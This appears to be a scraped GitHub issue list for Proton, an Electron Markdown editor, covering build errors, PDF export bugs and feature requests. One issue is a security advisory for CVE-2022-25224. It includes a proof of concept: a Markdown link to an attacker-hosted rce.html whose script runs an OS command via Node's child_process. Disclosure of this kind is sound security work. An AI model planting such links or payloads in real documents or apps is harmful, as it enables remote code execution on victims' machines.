steventhanna / proton Goto Github PK
View Code? Open in Web Editor NEWA stand-alone application to quickly preview and edit Markdown files using Electron.
Home Page: http://steventhanna.github.io/proton
License: GNU General Public License v3.0
A stand-alone application to quickly preview and edit Markdown files using Electron.
Home Page: http://steventhanna.github.io/proton
License: GNU General Public License v3.0
The Linux Binary currently available in the Initial Release won't run. However running the app from source using electron .
works perfect.
It looks like the binary is missing shared library called libnode.so
.
The output of ./Proton
is this:
./Proton: error while loading shared libraries: libnode.so: cannot open shared object file: No such file or directory
Try this
Autofill the filename sans extension for exporting
Our security team found a security issue inside Proton v0.2.0. We have reserved the CVE-2022-25224 to refer to this issue. Attached below is the link to our responsible disclosure policy.
https://fluidattacks.com/advisories/policy
Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host javascript code in the malicious link in order to trigger an XSS attack. The nodeIntegration
configuration is set to on which allows the webpage to use NodeJs
features, an attacker can leverage this to run OS commands.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
7.1
[Click me!!!](http://192.168.1.67:8002/rce.html)
rce.html
file with the following content on a server controlled by the attacker.<script>
require('child_process').exec('calc');
</script>
Create a settings panel for items such as editor color, font size, etc.
Deal with end of page behavior
Might have to deal with github auth, and I do not want to deal with that.
The stylesheet for rendering markdown to PDF is not being loaded on packaged applications. It still works fine locally using the same build.
You have done a nice job with proton. On a high resolution monitor the text becomes too small to read.
A menu item that allows font resizing would be of real help. A less pressing readability enhancement would be allowing the font face to be set by the user.
Trying to incorporate JQuery...
ipc.on('error', errorMessage => {
var type = errorMessage.type;
var message = errorMessage.message;
document.getElementById('error').innerHTML = '<div style="margin-right: 10px;" class="alert alert-' + type + ' alert-dismissible" role="alert"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>' + message + '</div>';
window.setTimeout(function() {
var alertT = '.alert-' + type;
$("#error").fadeOut();
$(alertT).alert('close');
}, 2000);
});
Because of the way Markdown is compiled, sometimes there is more content being rendered than there is in the code editor... The way I had it before, I was unable to get the preview text panel to scroll anymore, due to the fact that the actual preview panel cannot scroll... The ace editor can scroll, because it is a self contained module, while the preview is built on top of the window and the body. So when the preview scrolls, it is actually the body.
New Electron guidelines have forced my hand, things must be rewritten for better consistency.
The program can't start because node.dll is missing from your computer. Try reinstalling the program to fix this problem.
So there is more to it than just moving proton.exe to a directory of my choice...
Just sayin'...
This would be great, especially if it could render to a PDF.
Add auto-update functionality
Add native notifications once Electron supports it.
Take it from the README.md
Use the following CDN
<link rel="stylesheet" type="text/css" href="http://jaxedit.com/note/typejax/typejax.css" />
<script type="text/javascript" src="http://jaxedit.com/note/typejax/typejax.js"></script>
Electron throws an error when all windows are closed... Just make the app quit.
Make it.
Occurs when working in files, new content is added, and attempting to save, dialog box occurs.
This does not break in testing on master
branch.
That would be nice
(seems to be different issue to #29)
Running under OSX 10.9.5. If I select "Export to PDF" then nothing happens, except:
Nothing else - in particular, I was expecting a dialog box to open asking for a save destination.
Proton itself doesn't seem to show any version number (About Proton
redirects to the website), but this is the file I downloaded:
$ ls -lrt ~/Downloads/Proton-OSX.zip
-rw-r--r--@ 1 brian staff 82119959 21 Jul 20:32 /Users/brian/Downloads/Proton-OSX.zip
Change to this
Open Markdown Files, and render large amounts of MD files to PDF's using the command line.
Use this as a reference
Play with absolute
settings and positing, Try with bootstrap also
Configure the Linux Installation Candidates to work using the following commands:
./configure
make
make install
This will allow us to build the source for debian systems properly and have the program be able to be downloaded from via PPA.
Right now what we are using is electron-packager
to build the system specific binaries and then using the Linux binary to build a .deb file that can be downloaded and installed. However this isn't the proper way to package files for Ubuntu, and is only a temporary workaround until this issue is completed. We can't upload a .deb to Launchpad because it will try and build the binaries itself, but since we are providing it with a binary and not the source the build will always, of course, fail.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.